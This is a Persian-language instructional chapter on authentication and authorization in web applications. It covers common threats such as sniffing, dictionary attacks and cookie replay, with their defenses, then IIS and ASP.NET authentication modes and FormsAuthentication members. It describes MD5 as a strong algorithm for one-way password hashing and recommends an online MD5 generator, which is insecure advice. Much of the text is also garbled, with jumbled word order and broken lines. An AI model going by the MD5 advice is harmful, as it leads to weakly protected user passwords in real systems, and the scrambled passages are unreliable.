مثال خود برگردیم  به و به اجازه انجام چه کارهایی را دارد. شود که کاربر در سیستم چه نقش یا نقش هایی دارد

که فرد پس از اینکه از طرف صاحب خانه شناخته شد و وارد ساختمان شد حالا با توجه به نسبتی که با صاب 

با نقش ها و دسترسی های  Authorizationدر بحث  ما خانه دارد به قسمت های مختلف دسترسی خواهد داشت.

 .اجه هستیمکاربر مو

 احراز هویت 2-4
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با استفاده از اعتبارات آن مانند نام کاربری، گذرواژه است. اگر شناسایی  شناسایی یک کاربراحراز هویت فرایند 

. فرایند شودیعنوان یک نهاد مجاز شناخته معتبارنامه خود را ارسال کرده است بهکه  آمیز بود موجودیتی موفقیت

authorization کندیرا به منابع موجود مشخص م شده دسترسی آنازبرای نهاد مج. 

 یک کاربر از طریق سه نوع اعتبارنامه قابل احراز هویت است:

 PINواژه یا  یک گذر ؛ مثلاا (دانش) داندیکه یک کاربر م آنچهبر اساس  ➢

 USBیا یک دانگل یک گواهینامه ؛ مانند (مالکیت)که کاربر در اختیار دارد  آنچهبراساس  ➢

 DNA ؛ مانند اثر انگشت یا دنباله (ذات)بر اساس آنیه کاربر هست  ➢

بسته به نیازهای موجود، چندین مکانیزم احراز هویت وجود دارد. انتخاب نادرست و پیاده سازی ناصحیح، 

ده تهدیداتی که با استفا نیترمکانیزم احراز هویت را در مقابل تهدیدهای خارجی آسیب پذیر کند. محتمل تواندیم

 ، عبارتند از:رسانندیاز نقاط ضعف فرایند احراز هویت به سیستم آسیب م

 1شبکه شنود  ➢

 2 یرفراگحملات جستجوی  ➢

 1 یکشنرید حملات ➢

 2 یکوکتکرار  حملات ➢

 3نامه سرقت اعتبار  ➢

 احراز هویت ٔ  نهیزمتهدیدهای رایج در  2-1-1

 شنود ترافیک شبکه •

شده از کارخواه به سمت کارگزار ارسال شود، یک  صورت غیررمزنگاریاحراز هویت به ینامه هاعتبار اگر ا

عبور  ٔ  کلمهنام کاربری و  تواندیافزار ساده رصد ترافیک شبکه م با استفاده از یک نرم همان شبکهمهاجم در 

 آورد. ابه دست  کارخواه را به راحتی
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 فیک شبکه:قدامات لازم برای جلوگیری از آسیبهای شنود تراا

مانند پروتکل ؛ دهدیحراز هویت که گذرواژه ها را بر روی شبکه انتقال نممکانیزم های ااستفاده از  ➢

 کربروز و احراز هویت ویندوز.

یا استفاده از یک  (نیاز به انتقال گذرواژه هااز طریق شبکه صورتدرها )رمزنگاری کردن گذرواژه  ➢

 SSLکل پروتکانال ارتباطی رمزنگاری شده مانند 

 جستجوی فراگیر حملات •

سعی در شکستن گذرواژه های درهمسازی  قدرتمند همه جانبه مهاجمان با استفاده از کامپیوترهای در حملات

از  توانیشده اند، دارند. برای کاهش آسیب پذیری م درهمسازیشده و یا دیگر اطلاعات امنیتی که رمزگذاری یا 

 دارای طول و فضای جستجوی بیشتر استفاده کرد. یگذرواژه ها

 دیکشنری حملات •

، باشندیکه دارای گذرواژه م ییهاستمی. اکثر سشودیاز این حمله برای به دست آوردن گذرواژه ها استفاده م

واژه گذر ذخیره سازیها از . آنکنندیو رمزنگاری شده ذخیره نم (غیررمزنگاری شده)صورت واضح گذرواژه هارا به

گذرواژه ها قابل بازیابی است.  ٔ  همهچون که با افشا شدن کلید رمزنگاری،  کنندیرمزنگاری شده پرهیز م یها

؛ (صورت عددییا به) کنندیصورت درهمسازی شده ذخیره مکاربران خود را به یگذرواژه ها هاستمیاکثر س

و مقایسه آنها با مقادیر ذخیره  زی دوباره گذرواژه هابنابراین در این سیستم فرایند احراز هویت کاربران با درهمسا

درهمسازی شده به دست مهاجمی بیفتد، تنها با یک حمله  ی. حال اگر لیست گذرواژه هاشودیشده انجام م

مهاجم با  (حملاتدیکشنری)درهمسازی شده را بشکند. در این نوع حمله  یگذرواژه ها تواندیجستجوی فراگیر م

درهمسازی کلمات مختلف  مقدار ٔ  محاسبهدیکشنری یا چندین دیکشنری به زبانهای مختلف به استفاده از یک 

. در این صورت کندیمقایسه م شده درهمسازی ی. مقادیر درهمسازی حاصل را با مقادیر گذرواژه هاپردازدیم

 شکسته خواهند شد. یترفیقدرتمند با احتمال ضع ی. گذرواژه هاشوندیضعیف به آسانی شکسته م یگذرواژه ها
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ین انجام صورت آفلابه تواندیدرهمسازی شده را به دست آورد این حمله م یزمانیکه مهاجم لیست گذرواژه ها

 شود و احتیاجی به تعامل با برنامه نیست.

 نوع حمله: این های اقدامات لازم برای جلوگیری از آسیب

وف کوچک، بزرگ انگلیسی به همراه اعداد و حر شامل مثلاا  پیچیدهقوی و  یاستفاده از گذرواژه ها ➢

 کاراکترهای خاص.

برای  salt() یتصادفصورت غیرقابل برگشت و ترکیب یک مقدار به سازی گذرواژه ها ذخیره ➢

 درهمسازی گذرواژه ها.

 تکرار کوکی حملات •

را به دست آورده و در این نوع حمله، مهاجم با استفاده از نرم افزارهای نظارت، کوکی کاربر احراز هویت شده 

 .کندیبا ارسال آن به برنامه کاربردی تحت یک هویت کاذب به منابع دسترسی پیدا م

 این نوع حمله: یهابیاقدامات لازم برای جلوگیری از آس

، برای زمانیکه یک کوکی احراز هویت sslاستفاده از یک کانال ارتباطی رمزنگاری شده، فراهم شده با  ➢

 .ابدییانتقال م

عنوان حداکثر زمان اعتبار برای یک کوکی احراز هویت قرار دادن یک فاصله زمانی نسبتاا کوتاه به ➢

 تکرار جلوگیری کرد ولی با کاهش فاصله یاز حمله ها توانیاین روش نم شده. اگرچه با استفاده از

ن جلسه به پایان زمانی مهاجمان برای حمله تکرار، نیاز به احراز هویت دوباره دارند چراکه مدت زما

 رسیده است.

 سرقت اعتبارنامه •
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. اگر ترمینال کندیآینده ذخیره م ینهان مرورگر اطلاعات ورود کاربر را برای استفاده ها ٔ  حافظهتاریخخیه و 

مرورگر توسط افراد دیگر علاوه بر شخص مجاز قابل دسترس باشد، اطلاعات ورود او برای دیگران قابل دسترسی 

 است.

 این نوع حمله: یهابیجلوگیری از آسبرای  زماقدامات لا

استفاده از یکی از روشهای درهمسازی با  با ذخیرهسازی گذرواژه ها ،گذرواژه های قویاستفاده از  ➢

 استفاده از سالت افزوده شده

 از تعدادی تلاش ناموفق برای ورود قابلیت عدم بعد قفل کردن حساب کاربری ➢

 مرورگر ایجاد شود. سازی اطلاعات ورود در کش ذخیره ➢

 (Authorization)سطح دسترسی  3-4

را فراهم  هاسیبه بخشی از منابع و یا سروعدم دسترسی بر اساس هویت و قواعد عضویت اجازه دسترسی یا 

 .سازدیم

 authorization ٔ  نهیزمتهدیدهای رایج در  3-1-1

، عبارتند شودیتهدیداتی که از نقاط ضعف فرایند احراز هویت برای آسیب زدن به سیستم استفاده م نیترمهم

 از:

o  1 یازامتافزایش 

o  ی محرمانهداده هاافشای 

o دستکاری داده 

o  2 یبفر یحمله ها 

 افزایش امتیاز •
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 دتر کردن حسابباید تلاش مهاجمان در افزایش امتیاز برای قدرتمن authorizationهنگام طراحی یک مدل 

کاربری خود در نظر گرفته شود. با انجام این کار مهاجم قادر به کنترل بیشتر برنامه کاربردی خواهد بود. 

 بهاز یک مؤلفه ممکن است منجر RevertToSelfبا فراخوانی تابع  کلاسیک ASP یسینومثال در برنامهعنوانبه

 شود.کاربری با حداکثر امتیاز و قدرت  ایجاد یک حساب

اقدامات لازم برای جلوگیری از بالابودن امتیاز اعطایی، در نظر گرفتن حداقل امتیاز ممکن دسترسی  نیترمهم

 کاربری است. یهابرای حساب هاسیسروو  به فرایندها

 ی محرمانهها افشای داده •

دسترسی قرار  که اطلاعات حساس توسط کاربران غیرمجاز مورد دهدیافشای اطلاعات محرمانه زمانی رخ م

کارتهای اعتباری، اطلاعات کارکنان و  یاز قبیل شماره ها برنامه کاربردیگیرد. اطلاعات محرمانه شامل اطلاعات 

اتصال به  ٔ  رشتهکاربردی از قبیل اعتبارات حسابهای کاربری و یا بندی برنامه سوابق مالی همراه با اطلاعات پیکر

سازی و انتقال در شبکه  ای اطلاعات محرمانه باید امنیت آنها در ذخیرهافش از پایگاه داده است. برای جلوگیری

 یمختص خود هستند. دسترسی به داده ها یبه دسترسی به داده ها مجاز قادرتضمین گردد. تنها کاربران 

 پیکربندی باید تنها توسط مدیران قابل دستیابی باشند.

 مله:این نوع ح یهابیاقدامات لازم برای جلوگیری از آس

 اطلاعات حساس را فاش کنند. توانندیصورت بالقوه مبررسی اجازه دسترسی به عملیاتهایی که به ➢

 امنیت منابع ویندوز نیاستفاده از لیستهای کنترل دسترسی قوی برای تأم ➢

استفاده از استاندارد رمزگذاری برای ذخیرهسازی اطلاعات حساس در فایلهای پیکربندی و پایگاه  ➢

 داده ها.

 داده هادستکاری  •
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 .کندیغیرمجاز در داده ها اشاره م اصلاحدستکاری داده ها به تغییر و 

 اقدامات لازم برای جلوگیری از آسیبهای این نوع حمله:

استفاده از مکانیزمهای کنترل دسترسی برای محافظت از اطلاعات در پایگاه داده ها و حصول اطمینان  ➢

 ز داده هااز جلوگیری دسترسی و تغییر غیرمجا

دادهای را  توانندیاستفاده از مکانیزم امنیتی مبتنی بر نقش برای ایجاد تفاوت بین کاربرانی که م ➢

 آن داده را تغییر دهند. توانندیمشاهده کنند با کاربرانی که م

 فریب حملات •

با اجازه دسترسی  که یک نهاد با اجازه دسترسی پایین قادر به داشتن یک نهاد دهدیحمله زمانی رخ م نوع این

 انجام یک عمل از طرف آن باشد. و بیشتر

باید با احراز هویت مناسب اجازه دسترسی را محدود کنیم. استفاده از امنیت این تهدید برای مواجهه با 

در این زمینه مفید باشد چراکه مجوز کد فراخواننده را هنگام دسترسی به یک  تواندیدسترسی به کد دات نت م

 .کندیم ممتاز بررسییا انجام یک عمل  منبع امن

 ASP.NETحراز هویت در ا 4-4

 .چگونه باید احراز هویت را در یک سیستم نرم افزاری تحت وب پیاده سازی و کنترل نماییم

برای این منظور ما نیاز به نگهداری اطلاعات کاربری از قبیل نام کاربری، رمز عبور، فعال بودن یا نبودن کاربر، 

در اطلاعات کاربری هر کاربر  رود به سیستم و سایر موارد مرتبط را در دیتابیس خود نگهداری نماییم.زمان های و

عبور نیاز به یک رمز  ینهمچن غیرتکراری و یکتا خواهد داشت. (Password) به طور معمول یک نام کاربری

(Password) دو ویژگی  ینا و کاراکترها باشد. مطمئن که براحتی قابل حدس زدن نباشد و ترکیبی از حروف، اعداد

موارد دیگری همچون ساعات دسترسی مجاز کاربر برای ورود  می باشند. Authentication از مهم ترین بخش های
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مجاز برای ورود، تعداد مجاز ورود اشتباه رمز عبور پشت سرهم و مواردی از این قبیل  (IP) به سیستم، آدرس های

ما نباید در میزان  شرایط نرم افزار و میزان اهمیت آن باید این موارد را رعایت نماییم.نیز که ما بسته به نیاز و 

طور  به امنیت نرم افزار افراط و تفریط کنیم و بسته به اهمیت و ماهیت سیستم درجه امنیتی را زیاد و کم نماییم.

مجبور به وارد کردن رمزهای طولانی  مثال در یک سیستم نرم افزاری فروشگاه آنلاین نیاز چندانی نیست که کاربر

در مقابل در یک سیستم مالی مثل اینترنت بانک باید تمامی این موارد در سطح بالایی  ؛ اماو ترکیبی سخت گردد

رعایت شود و این روال نیز به کاربران سیستم به روش های مختلف آموزش داده شود تا کاربر متوجه شود که این 

 .ت بیشتر وی استسخت گیری ها برای امنی

شده Hashرا همیشه به صورت  (Password) ما باید رمز عبور Authentication در بحث فنی و پیاده سازی

که به صورت یک طرفه و غیرقابل برگشت باشد را  یرمزنگار در دیتابیس نگهداری نماییم. ()رمزنگاری یک طرفه

Hash .؛ مثلااین کار الگوریتم های مختلفی وجود دارد که هر کدام میزان سختی خود را دارند یبرا می نامیم 

MD5 .سایت در که الگوریتم و کلاسی قدرتمند در این زمینه می باشد MD5 Generator  شما می توانید به صورت

 .آنلاین رمز یکطرفه تولید نمایید

در   چرا باید رمز عبور کاربران را به صورت رمز نگاری یکطرفه در دیتابیس نگهداری نماییم؟

فردی به اگر  یرا؛ زجواب باید گفت برای حفظ امنیت بیشتر اطلاعات کاربران و نرم افزار این کار انجام می شود

باشد کلیه کاربران با مشکل مواجه می شوند چون  نشده  Hashدیتابیس شما دسترسی پیدا کند و رمزهای عبور 

سال های نه چندان دور یکی از کارمندان  در در اکثر سیستم های دیگر نیز با همین رمز عبور ثبت نام نموده اند.

ندین هزار مشتری بانکی خاص را در اینترنت قرار داد و شرکت های فعال در حوزه بانکی کشور اطلاعات کارتی چ

 .از آن روز آن شرکت اعتبار خود را در این حوزه از دست داده است

 شما کنید. رعایت و سازی پیاده خود افزارهای نرم در را آن و گرفته را بسیار جدی  Hashبرای همین بحث 

اینکه زمانی که کاربر در سایت شما ثبت  یبرا استفاده نمایید.در یک نرم افزار  Hash باید همیشه از یک الگوریتم

http://www.md5.net/md5-generator
http://www.md5.net/md5-generator
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می کند رمز عبور وارد شده به صورت رمزشده یکطرفه در دیتابیس ذخیره می شود و زمانی که  (Register) نام

 مقدار با و درآمده  Hashمجددا وی قصد ورود به سیستم را داشت، رمز وارد شده در هنگام ورود نیز به صورت 

 .افزار شود نرم وارد کاربر بودن یکسان درصورت و شود می مقایسه دیتابیس در جودمو

طول رمز عبور و ترکیبی بودن آن مانند شامل اعداد و کاراکترهای خاص بودن باعث می شود حدس زدن آن 

د داشته به عنوان کاربرمعمول سیستم ها باید تلاش نمایید که رمزهای عبور امنی برای خو ما سخت تر گردد.

 .باشیم تا کمتر دچار مشکل شویم

 به دیگر موارد تکمیلی که در بحث احراز هویت اهمیت دارد استفاده از ورود دو مرحله ای در نرم افزار است.

شده و در این مرحله نرم افزار کدی را به شماره وی ر طوریکه کاربر در ابتدا با نام کاربری و رمز عبور وارد نرم افزا

 .می کند که کاربر باید این کد را در قسمت مربوطه وارد نماید تا وارد قسمت دلخواه در نرم افزار شوداس ام اس 

 در برای مقابله با ربات ها طراحی شد.Captcha.می باشد (Captcha) نیز مربوط به عبارات امنیتیمورد سوم 

را با نام کاربری و رمز عبورهای  فرد مهاجم توسط رباتی که نوشته می تواند وب سایت Captchaصورت نبود 

 .از این کار جلوگیری می کند Captcha ؛ امابیشماری تست نماید تا راه نفوذی به نرم افزار پیدا نماید

این به آن سبب است که . دو لایه جداگانه برای احراز هویت دارد ASP.NET ، یک برنامهASPو اما در مورد 

ASP.NET  ای بر روی بلکه لایه. نیستیک محصول مستقل و جداگانهIIS تمام درخواست ها قبل از اینکه . است

از وجود  ASP.NETتواند بدون اینکه حتی می IISدر نتیجه . عبور می کنند IISشوند، از  ASP.NETتحویل 

 IISمراحلی که برای احراز هویت در زنجیره . درخواستی با اطلاع شود، دسترسی به صفحه ای را ممنوع اعلام کند

 :شود به این صورت استطی می ASP.NETو 

فرض همه در حالت پیش)مجاز بوده است یا خیر  IPکند که آیا درخواست رسیده از یک بررسی می IISابتدا 

IP مگر اینکه تعدادی . ها مجاز هستندIP  درIIS  بعنوانIP اگر ( های غیر مجاز معرفی شوندIP  درخواست کننده
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پیغام خطایی مبنی بر عدم دسترسی درخواست  IISهای غیر مجاز باشد، بصورت خودکار و توسط  IPدر لیست 

 .کننده به صفحه یا سایت مورد نظر برای او ارسال می شود

مأمور به احزار هویت درخواست کننده شده باشد، سعی در اجرای عملیات احراز هویت خودش می  IISاگر 

خواسته  IISمگر اینکه از . گیردها در نظر میبصورت ناشناس را برای سایتدسترسی  IISفرض بصورت پیش. کند

 .شود تا برای یک سایت خاص عملیات احراز هویت برای کاربران را انجام دهد

بررسی خواهد کرد که  ASP.NETقرار گیرد،  ASP.NETاگر درخواستی بصورت احراز هویت شده در اختیار 

درخواست  ASP.NETاگر جعل هویت فعال شده باشد، . فعال شده است یا خیر (impersonation)آیا جعل هویت 

در  IISگیرد و در غیر این صورت، درخواست با همان هویت ارسال شده از سوی را هویت جعل شده در نظر می

 .نظر گرفته خواهد شد

سیستم عامل مورد استفاده در نهایت هویتی که از مرحله قبل به دست آمد، برای دریافت منابع مورد نیاز از 

ها را به بتواند به تمام منابع مورد نیازش دسترسی پیدا کند، اجازه استفاده از آن ASP.NETاگر . قرار می گیرد

تواند بسیار بیشتر از حد یک منابع می. دهد و در غیر این صورت دسترسی را ممنوع اعلام می کندکاربران می

تواند استفاده از قابلیت امنیت دسترسی راه دیگر توسعه این دسترسی ها می .باشند ASP.NETصفحه معمولی در 

های توانید در برنامه از آن برای دسترسی به فایلباشد که شما می CASیا همان ( Code Access Security)به کد 

 .روی دیسک یا کلیدهای رجیستری یا دیگر منابع بهره مند شوید

توانند در یک درخواست کاربر برای یک صفحه های امنیتی دیگری هم میطرفکنید، همچنان که ملاحظه می

ASP.NET توانید لیست زیر رود، میکنید پیش نمیگونه ای که شما تصور میاگر اوضاع آن. وجود داشته باشند

 .را بررسی کنید تا مطمئن شوید که همه جوانب کار را در نظر گرفته اید

 :هویتفراهم کننده های احراز  1-4-4
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در ادامه چه اتفاقی خواهد افتاد؟ پاسخ به نحوه . داد یلتحوASP.NETیک درخواست را به  IISفرض کنیم 

. دربرگیرنده مفهومی بنام فراهم کننده احراز هویت است ASP.NETمعماری . بر می گردد ASP.NETپیکربندی 

تبار کاربر را بر اساس پایگاه داده هایی تواند درستی نام و اعفراهم کننده احراز هویت قطعه کدی است که می

کند چه زمانی یک کاربر احراز هویت به عبارت دیگر فراهم کننده احراز هویت است که مشخص می؛ مشخص کند

توانایی احراز هویت کاربران را با استفاده از سه فراهم  ASP.NETفرض بصورت پیش. شده در نظر گرفته می شود

 :کننده زیر دارد

ها در ویندوز های کاربری آنتواند کاربران را بر اساس حسابکه می windowsکننده احراز هویت فراهم 

 ASP.NETفرض در این مورد، فراهم کننده پیش. احراز هویت نماید و هویت کاربر را به کد برنامه تحویل دهد

 .است

هویت کاربران را با استفاده از  که احراز :Microsoft Passportفراهم کننده احراز هویت با استفاده از 

Microsoft Passport انجام می دهد. 

ساخته شده توسط  HTMLتواند یک فرم : که میهافراهم کننده احراز هویت با استفاده از فرم

تواند از منطق مورد دهنده میدر این روش توسعه. دهنده را برای دریافت اطلاعات هویتی کاربر بکار گیردتوسعه

در قالب یک  sessionضمناا اطلاعات هویتی کاربر در یک . ودش برای احراز هویت کاربران استفاده نمایدنظر خ

cookie در سمت کاربر نگهداری می شود. 

سایت  web.configبسادگی افزودن یک خط در فایل  ASP.NETانتخاب یک فراهم کننده احراز هویت در 

 :انتخاب فراهم کننده احراز هویت انتخاب نماییدیکی از موارد زیر را برای . می باشد

 <authentication mode="windows"> 

authentication mode="passport"> 
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<authentication mode="forms"> 

تواند علاوه بر فراهم کننده های احراز هویت داخلی خودش از فراهم کننده های می ASP.NETبیان شد که 

برای  .تواند بسیار ساده باشداستفاده از یک فراهم کننده احراز هویت می .یبانی کنداحراز هویت دیگر هم پشت

قرار داده و یک  noneروی  web.configتوانید حالت احراز هویت را در پیکربندی برنامه در فایل نمونه شما می

 IPیعنی اگر ) .دهد درخواست کننده انجام IPبنویسید که احراز هویت را بر اساس  IISبرای  ISAPI یلترف

در  (شود و گرنه خیرها وجود داشت، درخواست کننده احراز هویت می IPدرخواست کننده در لیست مشخصی از 

قرار داده شود تا هیچ کدام از فراهم کننده  noneباید  web.configگونه موارد باید نوع احراز هویت در فایل این

 .فرض فعال نشوندهای احراز هویت پیش

 .است IISو  ASP.NETصویر زیر نمایانگر چگونگی اجرای فرآیند احراز هویت و تعیین سطوح دسترسی در ت 

 

 IISاحراز هویت ویندوز و  2-4-4
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هم  IISتان انتخاب نمایید، باید احراز هویت را در  ASP.NETاگر شما احراز هویت ویندوزی را برای سایت 

فراهم کرده است و بدیهی  IISاحراز هویت ویندوزی را  ASP.NETاین مهم را سبب آن است که در . تنظیم نمایید

برای انجام این کار چهار نوع احراز هویت مختلف  IIS. مشخص کرد IISاست که چگونگی انجام آن را هم باید در 

 :ها را انتخاب نماییدتوانید یکی از آنرا فراهم کرده است که شما می

هر درخواستی برای دسترسی . هیچ نوع احراز هویتی انجام نمی دهد IISدر این حالت (: anonymous)ناشناس 

بهر حال باید نام کاربری بعنوان نام کاربر برای سایت . مشخص شده مجاز شمره می شود ASP.NETبه برنامه 

ASP.NET تواند داشته باشد که قابل تنظیم در این نام کاربری دو حالت می. ارسال شودIISنام این نام یا . است

 .است Application Poolشود یا همان نام کاربری مورد استفاده برای کاربری است که بصورت خاص مشخص می

از کاربر برای دسترسی به سایت مورد نظر طلب نام کاربری و کلمه عبور می  IISدر این حالت (: basic)ساده 

استفاده می کند، این  HTTPستاندارد این کار در برای انجام این کار از روش ا IISولی با توجه به اینکه . نماید

ولی مشکل این روش آن جاست که در این روش نام کاربری و کلمه . درخواست در تمام مرورگرها قابل اجراست

تواند امنیت کاربر اینترنتی را به خطر این موضوع می. شودعبور بدون هیچ نوع رمزنگاری روی خط ارسال می

عرضه شود تا این مشکل حل  httpsالبته برای استفاده از این نوع از احراز هویت بهتر است تا سایت روی . بیاندازد

 .شود

در این روش هم از کاربر نام کاربری و کلمه عبور درخواست خواهد شد اما در این روش کلمه (: digest)خلاصه 

البته با . رای نفوذگران شبکه قابل استفاده نباشدشود تا بمی hashعبور کاربر با استفاده از یک الگوریتم خاص 

سازی شده است، کاربر حتماا باید برای مرور این سایت از توجه به اینکه این مورد بصورت غیر استاندارد پیاده

Internet Explorer استفاده کند. 

ز ویندوز استفاده می نمایند این حالت معمولاا برای کاربرانی که ا(: Integrated)های ویندوز یکپارچه با حساب

با سرور مورد نظر عملیات احراز  Kerberosدر این حالت مرورگر باید بتواند با استفاده از پروتکل . کاربرد دارد
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بدیهی است . در شبکه است دوطرفهیک پروتکل امن برای احراز هویت  Kerberosپروتکل . هویت را انجام دهد

در این روش نیازی به وارد کردن نام کاربری و کلمه . تر خواهد بودمان ها سادهاستفاده از این روش در داخل ساز

 .کنند، وجود نداردعبور برای کاربرانی که از سایت استفاده می

در مورد . بهر حال باید درستی اعتبار و کلمه عبور کاربران را بر اساس یک پایگاه کاربران مورد بررسی قرار داد

 IISتواند به نوعی برای ویندوزی که حساب کاربری مورد استفاده می basic, digest, integratedهای احراز هویت

برای نمونه ویندوز مذکور عضو . راه های مختلفی برای این کار وجود دارد. را در بر گرفته قابل اعتبارسنجی باشد

domain  ی باشد که حساب کاربران سایت در آن قرار گرفته یاdomain یندوز مورد نظر عضو آن است، ی که و

 .مورد نظر کاربران داشته باشد domainی با trustرابطه 

 :Microsoft Passportاحراز هویت با استفاده از  1-2-4-4

 Microsoft Passportاین نوع از احراز هویت به شما اجازه می دهد تا بتوانید کاربران را با استفاده از سرویس 

 .شناسایی نمایید

 :استفاده از فرم های دلخواه احراز هویت با 2-2-4-4

واگذار می نماید تا او با استفاده  ASP.NETاین روش به عملیات احراز هویت کاربران را به توسعه دهنده سایت 

در صورتی که این نوع از احراز هویت را انتخاب . از فرم های دلخواه بتواند منطق انجام این کار را کنترل نماید

 :می افتدنمایید، این روال اتفاق 

 ASP.NETپس اگر . نگهداری می شود cookieهمانطور که بیان شد در این روش اطلاعات کاربر در یک 

در صورتی . مورد نظر وجود دارد یا خیر cookieدرخواستی در این مورد دریافت نماید بررسی خواهد کرد که آیا 

cookie  هویت شده است و باید درخواست مورد نظر مذکور وجود داشته باشد به آن معنی است که کاربر احراز

 .اجرا شود
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کاربر را به سوی فرم تهیه شده توسط توسعه  ASP.NETمذکور،  cookieبدیهی است در صورت عدم وجود 

 .دهنده برای دریافت نام کاربری و کلمه عبور هدایت خواهد کرد

پس از اطمینان از شناسایی کاربر با  توسعه دهنده می تواند هر منطقی را در فرم احراز هویت انجام دهد و

مورد نظر را بسازد تا در درخواست های بعدی، کاربر به صفحه احراز هویت  cookieمی تواند  propertyتنظیم یک 

 .هدایت نشود

استفاده  FormsAuthenticationایستای کلاس  یهااز تابع دیتوانیبه منظور مدیریت احراز هویت، شما م

 :کندیها را فهرست م کنید. جدول زیر این تابع

 FormsAuthenticationایستای کلاس  یهاجدول تابع

 
 شرح تابع

 

 Authenticate 
 را با خواندن تنظیمات پیکربندی و FormsAuthenticationکلاس 

 

  
 دریافت مقادیر کوکی و مقادیر رمزنگاری برای برنامه جاری، مقداردهی

 

  
 .کندیاولیه م

 

    

 Decrypt 
 به دست آمده به آن داده HTTPوقتی یک بلیط رمز شده که از کوکی 

 

  
 برمیگرداند. FormsAuthenticationTicket، یک نمونه کلاس شودیم

 

    

 Encrypt 
 و یک رشته محتوی ردیگیرا م FormsAuthenticationTicketیک 

 

  
 HTTPیک تیکت احراز هویت رمز شده مناسب برای کوکی 

 

  
 .رمیگرداندب

 

    

 GetAuthCookie 
 HttpCookieصورت یک یک کوکی رمزشده احراز هویت را به

 

  
 .شودیبه مجموعه کوکیها اضافه نم کوکی ینا .کندیبازیابی م

 

    

 GetRedirectUrl 
 ٔ  صفحهکه باعث انتقال به  را برای درخواستیانتقال  URLآدرس 
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 ورود شده است، برمیگرداند.

 

    

 

HashPasswordForStoringInConfigFil

e 
 و ردیگیمشخصکننده نوع درهمسازی را م ٔ  رشتهیک گذرواژه و یک 

 

  
 یک گذرواژه درهمسازی شده مناسب برای ذخیرهسازی در یک فایل

 

  
 پیکربندی برمیگرداند.

 

    

 Initialize 
 را با خواندن تنظیمات پیکربندی و FormsAuthenticationکلاس 

 

  
 دریافت مقادیر کوکی و رمزنگاری برای برنامه جاری مقداردهی اولیه

 

  
 .کندیم

 

    

 RedirectFromLoginPage 
 .فرستدیدرخواستی اصلی م URLکاربر احراز هویت شده را به 

 

    

 RenewTicketIfOld 
 .کندیرا به روز م FormsAuthenticationTicketانقضای 

 

    

 SetAuthCookie 
 و آن را به مجموعه کوکیهای پاسخ سازدییک بلیط احراز هویت م

 

  
 .کندیضمیمه م

 

    

 SignOut 

. این کندیمقدار تهی حذف م به یک URLبلیط احراز هویت را با تنظیم کوکی احراز هویت یا متن 

 .کندیهر دو کوکی نشست و طوالنی مدت را حذف مکار 

، کندیمهم: با وجود اینکه این تابع بلیط را از نشست احراز هویت شده حذف م

شما ممکن است هنوز در مقابل حملاتتکرار از جانب یک منبع ناخواسته  ٔ  برنامه

 که بلیط احراز هویت را سرقت کرده است، آسیب پذیر باشد.

 

 
 

 :کندیاز ویژگیهای مفید برای مدیریت بلیطهای احراز هویت را ارائه م لیستیجدول زیر 

 ویژگیهای مفید برای مدیریت بلیطهای احراز هویت جدول
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 شرح ویژگی

 FormsCookieName 
 نام کوکی را برای برنامه جاری برمیگرداند.

    

 FormsCookiePath 
 مسیر کوکی را برای برنامه جاری برمیگرداند.

    

 CookiesSupported 
 که آیا برنامه برای پشتیبانی از احراز کندیکه مشخص م مقدار برمیگرداندیک 

  
 پیکربندی شده است یا خیر. بدون کوکیهویت فرم 

    

 CookieMode 
 آیا برنامه برای احراز هویت فرم بدون کندیمشخص م د کهمقداری را برمیگردان

  
 خیر. یا استکوکی پیکربندی شده 

    

 CookieDomain 
 برمیگرداند.فرم را مقدار دامنه کوکی احراز هویت 

    

 

DefaultUrl 

URL ای را برمیگرداند که که احراز هویت فرم اگر هیچURL انتقالی تعیین 

   

  
 .کندینشده باشد به آنجا هدایت م

    

 

LoginUrl 

URL کندیآن هدایت مبه  احراز هویت فرمورود را برمیگرداند که  ٔ  صفحه. 

   

    

 RequireSSL 
 استفاده از الیهی باید باکوکیها  کندیمقداری را برمیگرداند که مشخص م

  
 سوکت امن منتقل شوند یا خیر.

    

 SlidingExpiration 
 فعال شده است یا 1متحرک آیا انقضای  دهدیمقداری را برمیگرداند که نشان م

  
 خیر.

   

EnableCrossAppRedirects 
 آیا کاربران احراز هویت شده را کندیمقداری را برمیگرداند که مشخص م
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وجود داشته باشد، صحبت  ASP.NETتاکنون در مورد انواع انتخاب هایی که می تواند برای احراز هویت در 

قسمت نکاتی بیان می شود که شما را در انتخاب در این . شد و شما می توانید هر کدام از آنها را انتخاب نمایید

 :روش احراز هویت مناسب برای شرایط مختلف کمک خواهد کرد

اجازه دهید تا از احراز هویت ناشناس استفاده  IISاگر مورد مهمی برای محافظت در برنامه شما وجود ندارد به 

 .داد این به همه کاربران اجازه دسترسی به برنامه شما را خواهد. کند

اگر تمام کاربران در شبکه شما . اگر می خواهید کاربران را احراز هویت نمایید روش های مختلفی وجود دارد

 IISو یکی از روش های قوی برای این کار در  ASP.NETحساب کاربری دارند از روش احراز هویت ویندوز در 

 استفاده کنید

5-4 authorization  درASP.NET 

افراد براساس وظایفی که درسیستم اداری خود دارند، در سیستم نرم افزاری مربوطه نیز  اداریدر سیستم های 

تحویل دار بانک  یک مدیریت شعب بانک را در نظر بگیرید. یستمس شبیه همان دسترسی ها را خواهند داشت.

تحویل دار بانک کنید که گفتیم  دقت چه وظایفی دارد؟همان وظایف را در سیستم نرم افزاری نیز خواهد داشت.

به  یدبا ها سروکار داریم. (Roleنقش )ما در بحث دسترسی ها با  و نگفتیم آقا یا خانم فلانی چه وظایفی دارد.

دنبال نقش های آن سازمان یا نهاد و یا مجموعه ای باشیم که می خواهیم نرم افزار خود را برای آن طراحی و 

 .شخص می کنیمدر ابتدا نقش ها را م پس پیاده سازی کنیم.

چارت سازمانی  در چارت سازمانی یکی از بهترین روش های پیدا کردن نقش های سیستم نرم افزاری می باشد.

این رو می  از همه نقش ها مشخص است و همه افراد براساس آن در بخش های مختلف مشغول به کار می شوند.

پس از مشخص شدن نقش ها به سراغ  حالا یم.توانیم نقش های سیستم را از روی چارت سازمانی تعریف نمای

نقش تحویل دار بانک چه وظایفی  ؛ مثلادسترسی ها و کارهایی که هر نقش باید بتواند انجام دهد می رویم

 .دارد؟این وظایف دسترسی های این نقش در سیستم نرم افزاری خواهد بود
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فقط کافی است کاربران  حالا خواهیم داشت.در نهایت ما مجموعه ای از نقش ها و دسترسی های آنها را     

سیستم )آنهایی که قرار است با سیستم کار کنند( را تعریف نماییم و نقش یا نقش های مربوط به آنها را مشخص 

 .با نقش تحویل دار و نقش های مشخص در سیستم تعریف می شود A آقای ؛ مثلاو وصل نماییم

